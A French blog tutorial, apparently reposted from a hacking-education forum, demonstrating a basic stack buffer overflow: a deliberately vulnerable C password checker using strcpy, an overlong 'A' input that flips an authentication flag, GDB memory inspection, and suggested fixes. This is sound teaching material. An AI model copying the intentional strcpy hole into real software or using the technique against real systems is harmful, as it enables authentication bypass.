mercredi 12 août 2015

Notre premier buffer overflow

Aujourd'hui, nous allons opérer notre première attaque par buffer overflow.

Rassurer vous, pour la première fois, nous allons prendre un exemple simple.
Pour simplifier l'apprentissage, nous allons fonctionner par l'exemple et l'expérimentation.

Prérequis
Certains prérequis sont nécessaire pour la bonne compréhension et le bon fonctionnement de ce tutoriel :
  • Connaitre le langage C
  • Disposer d'une machine Linux (physique ou virtuelle) : En effet, ce tutoriel ayant été fait sur Linux, je ne peux pas vous garantir que vous aurez le même résultat si vous êtes sur un autre environnement
  • Savoir utiliser Linux en ligne de commande
  • Avoir GCC et GDB installés
  • Dans une moindre mesure, avoir lu mon article concernant la segmentation de la mémoire : Le sujet ne sera pas explicitement abordé dans ce premier tutoriel sur le buffer overflow mais il vous permettra une meilleur compréhension



Notre environnement de travail
Dans le cadre de ce tutoriel, nous allons utiliser le code C suivant :
Code:

#include <stdio.h>;
#include <stdlib.h>;
#include <string.h>;

int check_authentification(char * password){
        int auth_flag=0;
        char password_buffer[16];

        strcpy(password_buffer,password);

        if(strcmp(password_buffer,"AnOnyme77")==0)
                auth_flag=1;
        if(strcmp(password_buffer,"Hackademics")==0)
                auth_flag=1;

        return auth_flag;
}

int main(int argc,char* argv[]){
        if(argc<2){
                printf("Usage %s &lt;password&gt;\n",argv[0]);
                exit(0);
        }
        if(check_authentification(argv[1])){
                printf("Accesss Granted\n");
        }
        else{
                printf("Accesss Denied\n");
        }
}


La compréhension de ce code ne devrait pas vous poser trop de problèmes.
Pour ceux qui n'auraient pas compris, ce code est un "portail de connexion" s'ouvrant uniquement si le mot de passe fournit en argument de la ligne de commande est AnOnyme77 ou Hackademics.


Copiez - Collez ce code dans un fichier nommé auth_overflow.c.

Compilons le ensuite :
Code:

root@Code:~# gcc -g -o auth_overflow auth_overflow.c
Dans notre cas, nous utilisons l'option -g de GCC afin de permettre le debuggage du programme par GDB par la suite.

Après compilation, vous devriez avoir un nouvel exécutable nommé auth_overflow dans le répertoire courant.

Quelques tests
Maintenant que nous avons un exécutable, testons le un peu :
Code:

root@Code:~# ./auth_overflow AnOnyme77
Accesss Granted

root@Code:~# ./auth_overflow Hackademics
Accesss Granted

root@Code:~# ./auth_overflow Bl@ckH@t
Accesss Denied

Jusque là, tout semble se dérouler comme prévu mais que ce passe t'il si l'on essaye de forcer un peu notre serrure virtuelle ?

Code:

./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accesss Granted

Ici, notre programme nous réponds que l'accès est autorisé.
Cependant, ce mot de passe ne fait pas partie de ceux autorisés ? Pourquoi notre portail de connexion réagit il de la sorte ?


Dans le vif du sujet

Pour comprendre le fonctionnement anormal de notre programme, nous allons étudier son fonctionnement exact à l'aide de GDB.
Code:

root@Code:~# gdb -q ./auth_overflow
Reading symbols from /root/auth_overflow...done.
(gdb) list 1
1        #include &lt;stdio.h&gt;
2        #include &lt;stdlib.h&gt;
3        #include &lt;string.h&gt;
4
5        int check_authentification(char * password){
6                int auth_flag=0;
7                char password_buffer[16];
8
9                strcpy(password_buffer,password);
10
(gdb)
11                if(strcmp(password_buffer,"AnOnyme77")==0)
12                        auth_flag=1;
13                if(strcmp(password_buffer,"Hackademics")==0)
14                        auth_flag=1;
15
16                return auth_flag;
17        }
18
19        int main(int argc,char* argv[]){
20                if(argc&lt;2){
(gdb)
21                        printf("Usage %s &lt;password&gt;\n",argv[0]);
22                        exit(0);
23                }
24                if(check_authentification(argv[1])){
25                        printf("Accesss Granted\n");
26                }
27                else{
28                        printf("Accesss Denied\n");
29                }
30        }(gdb)
Line number 31 out of range; auth_overflow.c has 30 lines.
(gdb) break 9
Breakpoint 1 at 0x40064f: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x40069a: file auth_overflow.c, line 16.

Ici, nous lançons GDB et plaçons des breakpoints en ligne 9 et 16.
Pour ceux qui ne connaitraient pas l'utilité des breakpoints, ceux-ci permettent de stopper l'exécution du programme juste avant la ligne signalée par le breakpoint.
Cette pause permet d'analyser le contenu de la mémoire du programme et donc de mieux en comprendre le fonctionnement.

Lançons maintenant notre programme dans GDB avec le même argument que celui donné à la ligne de commande :
Code:

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /root/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentification (password=0x7fffffffee66 'A' &lt;repeats 30 times&gt;) at auth_overflow.c:9
9                strcpy(password_buffer,password);

Nous remarquons que le programme est bien arrêté au premier breakpoint.

Analysons donc l'état de ses variables :
Code:

(gdb) x/s password_buffer
0x7fffffffeb30:        "\001"
(gdb) x/x &amp;auth_flag
0x7fffffffeb4c:        0x00

Comme nous sommes dans la fonction check_authentification, nous pouvons accéder à ses variables.
Nous pouvons alors voir que :
  • password_buffer se trouve à l'adresse 0x7fffffffeb30 et contient des données aléatoires
  • auth_flag se trouve à l'adresse 0x7fffffffeb4c et contient la valeur hexadécimale 0


Calculons l'écart mémoire entre nos deux variables :
Code:

(gdb) print 0x7fffffffeb4c - 0x7fffffffeb30
$1 = 28

Nous voyons que celui-ci est de 28 octets. Auth_flag est donc stocké 28 octets après password_buffer.

L'instruction suivante nous permettra donc de localiser auth_flag tout en s'intéressant uniquement à password_buffer :
Code:

(gdb) x/16xw password_buffer
0x7fffffffeb30:        0x00000001        0x00000000        0x0040077d        0x00000000
0x7fffffffeb40:        0xf7a61c48        0x00007fff        0x00400720        !!!0x00000000!!!
0x7fffffffeb50:        0xffffeb70        0x00007fff        0x004006ea        0x00000000
0x7fffffffeb60:        0xffffec58        0x00007fff        0x00000000        0x00000002

Nous pouvons retrouver la valeur de auth_flag (que j'ai ici mise entouré de points d'exclamation).

Après ces inspections, laissons le programme continuer et aller jusqu'à son second breakpoint et réanalysons la mémoire de nos variables :
Code:

gdb) continue
Continuing.

Breakpoint 2, check_authentification (password=0x7fffffffee66 'A' &lt;repeats 30 times&gt;) at auth_overflow.c:16
16                return auth_flag;
(gdb) x/s password_buffer
0x7fffffffeb30:        'A' &lt;repeats 30 times&gt;
(gdb) x/x &amp;auth_flag
0x7fffffffeb4c:        0x41
(gdb) x/16xw password_buffer
0x7fffffffeb30:        0x41414141        0x41414141        0x41414141        0x41414141
0x7fffffffeb40:        0x41414141        0x41414141        0x41414141        0x00004141
0x7fffffffeb50:        0xffffeb70        0x00007fff        0x004006ea        0x00000000
0x7fffffffeb60:        0xffffec58        0x00007fff        0x00000000        0x00000002

Cette analyse nous dit que :
  • password_buffer se trouve à l'adresse 0x7fffffffeb30 et contient 30 caractères A
  • auth_flag se trouve à l'adresse 0x7fffffffeb4c et contient la valeur hexadécimale 0x00004141

Il n'est pas logique que la variable password_buffer puisse contenir 30 caractères A. Souvenez vous que ce buffer ne fait que 16 caractère.

Et en effet, comme on peut le voir sur la dernière commande dans GDB, la variable password_buffer à dépasser de son emplacement mémoire et a écrit sur des adresses mémoire qui ne lui étaient pas allouées. Elle a même écrasé le début de la variable auth_flag ! Nous avons notre buffer overflow.

De ce fait, la variable auth_flag a pris la valeur hexadécimale 0x00004141.
Que vaut cette valeur en décimal ?

Code:

(gdb) x/dw &amp;auth_flag
0x7fffffffeb4c:        16705

Auth_flag vaut donc 16705.

Si nous demandons à GDB de continuer l'exécution, il nous affiche alors le message suivant :
Code:

(gdb) continue
Continuing.
Accesss Granted

En effet, comme en C toute variable numérique non nulle étant l'équivalant d'un True, lorsque la valeur de auth_flag est retourné à la condition gérant la bonne connexion, celle-ci autorise l'accès.

Se protéger de cet overflow basique
Il existe plusieurs méthodes pour protéger son code de ce type de buffer overflow.
Dans celles-ci, on peut proposer de :
  • Inverser l'ordre de déclaration de auth_flag et de password_buffer dans notre méthode check_authentification : Cela aura pour effet de placer auth_flag avant password_buffer dans la mémoire. Ainsi, si il déborde, il n'écrasera pas la valeur de auth_flag, cependant, il débordera tout de même, ce qui pourrait poser d'autres problèmes comme on le verra dans un tutoriel suivant.
  • Remplacer l'invocation à la fonction strcpy par celle-ci :
    Code:

    strncpy(password_buffer,password,sizeof(password_buffer));
    La fonction strncpy ne copiera en effet dans password_buffer que le nombre de bytes qu'il peut contenir. Cela nous préviendra donc du buffer overflow.


Le mot de la fin
Ce tutoriel est maintenant terminé. N'hésitez surtout pas à poser des questions si certains aspects vous paraissent flous.
Je serai bien entendu disponible pour y répondre.

Pour les plus techniciens d'entre vous, vous aurez remarqué que ce type de buffer overflow se fait dans la pile (étant donné que nous jouons avec les variables d'une fonction).
Dans un tutoriel suivant, nous exploiterons le même type de faille (overflow dans la pile) afin de nous garantir un accès en root sur la machine cible.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1N3f3Tv
via IFTTT

Aucun commentaire:

Enregistrer un commentaire